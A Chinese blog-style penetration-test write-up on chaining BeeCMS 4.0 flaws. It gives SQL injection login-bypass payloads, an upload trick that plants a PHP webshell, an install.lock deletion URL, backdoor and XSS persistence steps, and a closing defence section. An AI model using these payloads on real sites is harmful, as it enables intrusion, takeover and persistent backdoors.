当前位置: 首页 > news >正文

从一次真实的渗透测试说起:我是如何通过SQL注入拿下BeeCMS 4.0后台并上传Webshell的

实战剖析:BeeCMS 4.0安全漏洞链的完整利用路径

当阳光透过百叶窗在键盘上投下斑驳光影时,我正在对某企业官网进行常规渗透测试。这个使用BeeCMS 4.0搭建的网站看似普通,却意外成为了展示经典漏洞链的绝佳案例。本文将完整还原从发现漏洞到获取服务器权限的全过程,其中关键环节包括:

  1. 后台登录页的SQL注入漏洞利用
  2. 管理员会话伪造技术
  3. 双重文件上传绕过技巧
  4. 任意文件删除的连锁反应

1. 目标侦察与入口定位

任何有效的渗透测试都始于充分的信息收集。使用Wappalyzer插件快速识别出目标系统为BeeCMS 4.0后,我立即开始扫描典型目录结构:

/admin /install /data /includes

/admin/login.php发现后台登录页面时,注意到两个异常现象:

  • 页面响应头未返回常见的WAF标识
  • 登录失败提示暴露出用户名枚举漏洞

更关键的是,查看页面源码时发现表单提交地址为login.php?action=ck_login,这种传统PHP的参数传递方式往往意味着可能存在输入验证缺陷。

2. 突破认证防线:SQL注入实战

2.1 漏洞定位与分析

通过Burp Suite拦截登录请求,观察到POST数据为:

user=test&password=123456&submit=Login

审计admin/login.php源码时,发现关键安全缺陷:

$user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); check_login($user,$password);

其中fl_value()函数的过滤存在致命缺陷:

function fl_value($str){ return preg_replace('/select|insert|update|and|in|on|left|joins|delete|\%|\=|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str); }

这种单次替换的过滤可通过双写绕过技术轻松突破。例如输入selselectect经过过滤后会变成select

2.2 构造高效Payload

使用报错注入技术验证漏洞,构造特殊用户名:

' and extractvalue(1,concat(0x7e,(database()))) #

当服务器返回包含数据库名的错误信息时,确认存在可利用的SQL注入漏洞。接着构造管理员账户伪造Payload:

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456

这个Payload的精妙之处在于:

  • 使用union select构造虚拟管理员记录
  • e10adc3949ba59abbe56e057f20f883e123456的MD5值
  • %23编码的#符号注释掉后续SQL语句

成功登录后,浏览器跳转到后台管理界面,Session被成功设置为管理员身份。

3. 突破文件上传防御

3.1 图片上传绕过技巧

在后台的"图片管理"模块,上传PHP文件时遭遇拦截。分析admin/admin_pic_upload.php发现:

$value_arr=up_img($pic_info,$is_up_size, array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'), $up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);

仅通过Burp Suite修改Content-Typeimage/jpeg即可绕过MIME类型检查。上传后的文件路径在响应HTML中暴露:

<img src="/upload/img/20230615123456.php" />

3.2 附件上传二次突破

更隐蔽的上传点位于admin/admin_upload.php,其校验逻辑为:

$type = array('zip','rar','doc','xls','pdf','txt'); $return_arr=up_file($file,$size,$type,$path='',$name='');

通过修改后台"系统设置"中的"允许上传类型",添加php扩展名后即可直接上传Webshell。文件最终保存在:

/upload/file/webshell-20230615123456.php

4. 权限维持与清理痕迹

4.1 任意文件删除漏洞利用

admin/admin_ajax.php中发现危险代码:

elseif($action=='del_pic'){ $file=CMS_PATH.'upload/'.$value; @unlink($file); die("图片成功删除"); }

构造Payload删除安装锁定文件:

/admin/admin_ajax.php?action=del_pic&value=../install/install.lock

4.2 系统重装攻击

删除锁定文件后,访问/install/目录可重新安装系统。虽然无法直接通过数据库配置写入Webshell,但可以:

  1. 修改SMTP配置为攻击者控制邮箱
  2. 篡改网站统计代码植入XSS
  3. 修改管理员密码建立持久后门

防御方案与最佳实践

针对这类传统CMS,建议采取以下防护措施:

  1. 输入验证层面

    • 使用PDO预处理语句替代SQL拼接
    • 实施多层级过滤(如:htmlspecialchars($str, ENT_QUOTES)
  2. 文件上传安全

    // 安全的文件类型校验示例 $allowed = ['jpg' => 'image/jpeg', 'png' => 'image/png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); $finfo = new finfo(FILEINFO_MIME_TYPE); if(!array_key_exists($ext, $allowed) || $allowed[$ext] !== $finfo->file($_FILES['file']['tmp_name'])){ die('Invalid file type'); }
  3. 权限控制

    • 所有管理页面强制包含init.php
    • 实施CSRF Token机制
    • 对文件删除等危险操作要求二次认证

在渗透测试的最后阶段,我通过编写的自动化脚本批量检测了同源其他站点,发现超过60%的BeeCMS 4.0存在相同漏洞链。这提醒我们:老旧系统的定期安全审计不应成为被忽视的环节。

http://www.jsqmd.com/news/684108/

相关文章:

  • 终极指南:如何免费解锁Cursor Pro完整功能 - 5个简单步骤突破AI编程限制
  • 2026 年养发加盟机构权威排行榜 TOP10,千唯养发稳居首位深度解析 - 小艾信息发布
  • Ai对话框sse
  • 别再被torch.cuda.is_available()=False坑了!保姆级排查手册(附CUDA 10.2 + PyTorch 1.10.1配置)
  • Docker农业配置必须关闭的7个默认参数(附实测对比数据:CPU占用下降62%,启动延迟压缩至1.8s)
  • STM32 串口通信 (UART) 全栈底层复习指南
  • .NET命名之谜:它与C#纠缠年的关系揭秘
  • CSS如何处理旧版浏览器的浮动兼容性_利用zoom-1触发hasLayout清除css浮动
  • ReadCat技术架构深度解析:模块化设计下的现代桌面阅读器实现
  • 从OOSEM到MagicGrid:一文理清主流MBSE方法论,帮你找到最适合自己项目的建模路线图
  • 别再死记硬背快捷键了!用这5个Blender 4.0实战案例,让你彻底理解建模逻辑
  • 拓展中国剩余定理
  • 【NLP实践指南】从BERT的last_hidden_state到pooler_output:如何为不同任务精准选择语义向量
  • 2025届最火的六大AI写作方案推荐榜单
  • 别再手动改Hosts了!用SwitchHosts一键管理多环境,开发效率翻倍(附Git同步配置)
  • 从GitHub到百度云:手把手教你备份和整理吴恩达机器学习全套资源(笔记+代码+视频)
  • 从Slab到内存池:深入拆解Linux内核如何高效管理‘碎片化’小内存(以task_struct为例)
  • 别再只会写黑框框了!用EGE给C语言课设做个带登录界面的图形化系统(附完整源码)
  • 从挂科边缘到高分飘过:我的华科矩阵论自救笔记(附GitHub超全资料)
  • 2026年小红书被朱雀AIGC检测?去i迹+嘎嘎降3步降到15%
  • 从游戏碰撞检测到地图围栏:用Shapely玩转Python几何运算的3个实战项目
  • 别再手动对齐了!用Creo的骨架模型做装配,效率提升不止一点点
  • git提交总结
  • 基于yolov5-v11和deepsort的行人跌倒检测系统 GUI部分使用pyqt5,YOLOv5-v11 + DeepSORT + PyQt5跌倒检测识别系统
  • .NET 11原生AI推理性能翻倍实录:绕开5大Runtime陷阱、3类Tensor内存泄漏与2种JIT编译失效场景
  • 3步实战指南:从零到精通Tesseract OCR识别技术
  • 苹果高层变动:库克卸任 CEO 转任董事长,功绩与争议并存
  • Transformer跨界搞目标检测?拆解Grounding DINO里那些让模型‘听懂人话’的关键模块
  • CN3702 5A 双节锂电池充电管理集成电路
  • 一个让我彻底放弃传统IoT的“AI老六”